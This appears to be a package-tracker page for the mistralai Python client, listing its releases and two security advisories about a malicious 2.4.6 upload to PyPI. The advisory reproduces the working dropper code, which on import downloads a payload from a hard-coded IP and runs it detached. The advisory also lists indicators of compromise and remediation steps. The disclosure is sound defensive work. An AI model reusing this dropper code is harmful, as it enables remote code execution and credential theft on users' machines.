mistralai

Python client library for Mistral AI platform

View on Pypi

View on Github

Activity

Latest release: 5d ago
Total releases: 108
Cadence: ~3 days
Last 12 months: 57

Reach

Stars: 767

Details

First release: Dec 09, 2023

Releases

Version	Released
`2.10.0` minor	Sep 09, 2026
`2.9.4` patch	Aug 21, 2026
`2.9.3` patch	Aug 13, 2026
`2.9.2` patch	Aug 11, 2026
`2.9.1` patch	Aug 04, 2026
`2.9.0` minor	Aug 04, 2026
`2.8.0` minor	Jul 28, 2026
`2.7.2` patch	Jul 24, 2026
`2.7.1` patch	Jul 21, 2026
`2.7.0` minor	Jul 17, 2026
`2.6.0` minor	Jul 06, 2026
`2.5.2` patch	Jul 03, 2026
`2.5.1` patch	Jul 01, 2026
`2.5.0` minor	Jun 23, 2026
`2.4.13` patch	Jun 19, 2026
`2.4.12` patch	Jun 17, 2026
`2.4.11` patch	Jun 16, 2026
`2.4.10` patch	Jun 16, 2026
`2.4.9` patch	Jun 03, 2026
`2.4.8` patch	May 28, 2026
`2.4.7` patch	May 25, 2026
`2.4.5` patch	May 07, 2026
`2.4.4` patch	Apr 30, 2026
`2.4.3` patch	Apr 27, 2026
`2.4.2` patch	Apr 23, 2026
`2.4.1` patch	Apr 21, 2026
`2.4.0` minor	Apr 16, 2026
`2.4.0rc2` pre	Apr 14, 2026
`2.4.0rc1` pre	Apr 14, 2026
`2.3.2` patch	Apr 10, 2026
`2.3.1` patch	Apr 07, 2026
`2.3.0` minor	Apr 03, 2026
`2.2.0` minor	Mar 31, 2026
`2.2.0rc3` pre	Mar 30, 2026
`2.2.0rc2` pre	Mar 30, 2026
`2.2.0rc1` pre	Mar 30, 2026
`2.1.3` patch	Mar 23, 2026
`2.1.2` patch	Mar 20, 2026
`2.1.1` patch	Mar 20, 2026
`2.1.0` minor	Mar 20, 2026
`2.0.5` patch	Mar 18, 2026
`2.0.4` patch	Mar 16, 2026
`2.0.3` patch	Mar 16, 2026
`2.0.2` patch	Mar 13, 2026
`2.0.1` patch	Mar 12, 2026
`2.0.0` major	Mar 10, 2026
`2.0.0rc1` pre	Mar 02, 2026
`2.0.0b1` pre	Feb 26, 2026
`1.12.4` patch	Feb 20, 2026
`1.12.3` patch	Feb 17, 2026

1–50 of 108

Repository

mistralai/client-python

Forks: 206
Open issues: 24
Language: Python

Dependencies (23)

Depends on

2.10.0

Used by

706

Supply-chain exposure

706 tracked projects depend on this, <1% of every package we track.

A known CVE here directly exposes every one of them.

Known CVEs (2)

GHSA-wx9m-wx4f-4cmg May 18, 2026

Malicious dropper in mistralai 2.4.6 PyPI package

9.6 / 10
Critical
Network Low None Required Changed High High High

The mistralai PyPI package version 2.4.6 contains a malicious dropper that executes on import on Linux. No v2.4.6 tag, commit, or release workflow run exists in this repository, the legitimate latest version before the upload was 2.4.5, and the upload bypassed this repository's normal release pipeline (which uses PyPI Trusted Publishing).

The mistralai PyPI project is currently quarantined.

Affected

mistralai==2.4.6 on PyPI.

Versions 2.4.5 and earlier are not known to be affected.

What the malicious code does

A function named _run_background_task was added to src/mistralai/client/__init__.py and called at module-load time. Reproduced from the public report in #523:

import subprocess as _sub import os as _os def _run_background_task(): if not _sys.platform.startswith("linux") or _os.environ.get("MISTRAL_INIT"): return _os.environ["MISTRAL_INIT"] = "1" _url = "https://83.142.209.194/transformers.pyz" _dest = "/tmp/transformers.pyz" try: if not _os.path.exists(_dest): _sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15) if _os.path.exists(_dest): _sub.Popen( [_sys.executable, _dest], stdout=_sub.DEVNULL, stderr=_sub.DEVNULL, start_new_session=True, env=_os.environ.copy() ) except: pass _run_background_task()

On Linux only, the function:

Returns early if MISTRAL_INIT is already set in the environment.

Sets MISTRAL_INIT=1 so the spawned child does not re-trigger the dropper if it imports mistralai.

Downloads https://83.142.209.194/transformers.pyz to /tmp/transformers.pyz with curl -k -L -s (TLS verification disabled, 15 s timeout). Skips the download if the file is already present.

Spawns transformers.pyz with the current Python interpreter (sys.executable) as a detached process via Popen(..., start_new_session=True), with stdout and stderr discarded and any exception silently swallowed.

On non-Linux platforms the function returns immediately and does nothing.

The trigger is import mistralai, not package installation. pip install of a wheel does not execute package code; for an sdist it runs PEP 517 build hooks but those are in setup.py / pyproject.toml, not in __init__.py — so pip install, pip download, and pip wheel do not invoke this dropper.

The contents of transformers.pyz are not in the package and were not analyzed in this advisory. The behavior of the second-stage payload on the host is therefore unknown.

Recommendation

Any Linux environment that imported mistralai==2.4.6 should be treated as potentially compromised pending forensic review. Rotate every credential reachable from the importing process and review host and cloud audit logs for activity from approximately 2026-05-12 00:05 UTC onward (per the timing reported in #523).

Check whether you are affected

Installed version:

pip show mistralai | grep -i ^version

Dependency files and lockfiles:

grep -n -E 'mistralai\b.*2\.4\.6' \ requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile Pipfile.lock 2>/dev/null

Dropped file on disk:

ls -la /tmp/transformers.pyz

The presence of /tmp/transformers.pyz on a host that imported mistralai==2.4.6 indicates the download step ran successfully. Combined with absence of MISTRAL_INIT in the host's process environment history, it does not by itself confirm the second-stage executed; conversely its absence does not rule out execution if the file was cleaned up.

Remediation

Pin mistralai to 2.4.5 or earlier. While the PyPI project is quarantined, install from this repository at a known-good tag, e.g. git+https://github.com/mistralai/client-python.git@v2.4.5.

On affected Linux hosts, rotate every credential reachable from the importing process and review host and cloud audit logs.

Indicators of compromise

All IOCs below come from the public report in #523.

File: /tmp/transformers.pyz

Process: a Python interpreter (sys.executable) running /tmp/transformers.pyz detached from the parent's process group, with stdout/stderr to /dev/null

Environment variable: MISTRAL_INIT=1

Outbound HTTPS to 83[.]142[.]209[.]194 from curl (no TLS verification)

Function added to the package: _run_background_task in src/mistralai/client/__init__.py

SHA-256 of the malicious sdist (as reported in #523): 6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b

References

Public report with the dropper code: https://github.com/mistralai/client-python/issues/523

Quarantined PyPI project: https://pypi.org/project/mistralai/

Affected versions

2.4.6

References

https://github.com/mistralai/client-python/security/advisories/GHSA-wx9m-wx4f-4cmg
https://github.com/mistralai/client-python/issues/523
https://github.com/mistralai/client-python
https://safedep.io/mass-npm-supply-chain-attack-tanstack-mistral
https://socket.dev/blog/tanstack-npm-packages-compromised-mini-shai-hulud-supply-chain-attack
https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem

Updated May 18, 2026 · Source: OSV.dev
MAL-2026-3608 Malware May 12, 2026

Malicious code in mistralai (PyPI)

Critical

-= Per source details. Do not edit below this line.=-

Source: google-open-source-security (5e1924464368f0c5816ee84e000cc47017f44045140feafbbc9e685d847ed5a5)

This package was compromised as part of the "Mini Shai-Hulud is back" worm by the TeamPCP threat actor.

The package will steal credentials and then propogate it to every package it has access to. The package also attempts to remain persistent.

Affected versions

2.4.6

References

https://www.aikido.dev/blog/mini-shai-hulud-is-back-tanstack-compromised
https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem
https://socket.dev/blog/tanstack-npm-packages-compromised-mini-shai-hulud-supply-chain-attack
https://tanstack.com/blog/npm-supply-chain-compromise-postmortem
https://snyk.io/blog/tanstack-npm-packages-compromised/

Updated May 12, 2026 · Source: OSV.dev

Insights

Releases per month

last 12 months

Release mix

major 2
minor 26
patch 69
pre 10

108 releases

Dependencies over time

per release

Release calendar

2026

Jan

Feb

Mar

Apr

May

Jun

Jul

Aug

Sep

Oct

Nov

Dec

Less More